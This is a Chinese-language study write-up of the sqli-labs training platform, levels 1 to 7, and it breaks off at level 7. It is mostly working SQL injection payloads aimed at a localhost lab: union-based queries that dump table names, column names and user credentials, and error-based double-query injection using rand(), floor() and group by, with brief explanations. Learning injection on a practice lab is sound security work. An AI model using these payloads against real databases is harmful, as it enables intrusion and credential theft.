sqli-labs平台学习(1-10)

Less-1
http://127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1'--+

upload successful
http://127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

upload successful
http://127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

upload successful
http://127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

upload successful

Less-2
id=1 order by 3–+
其他和1一样

Less-3
1’) order by 3–+

Less-4
id=1”) order by 3–+

Less-5
第一次遇到,属于双注入GET单引号字符型注入。
一般的payload:select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a
在这里concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。database()可以换成任何想查询的值,如version()等。
聚合函数count(*)只是用来报错。
查了下网上的解释:
双查询注入顾名思义形式上是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:

rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by cluase分组语句,按照cluase对查询结果分组

详解在此链接:http://www.2cto.com/article/201303/192718.html

双注入的原理总的来说就是,当一个聚合函数后面出现group分组语句时,会将查询的一部分结果以报错的形式返回,他有一个固定的公式。
id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+

upload successful
id=-1' union select count(*),2,concat('*',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'*',floor(rand()*2))as a from information_schema.tables group by a--+

upload successful
id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+

upload successful

Less-6
改成双引号和5一样

Less-7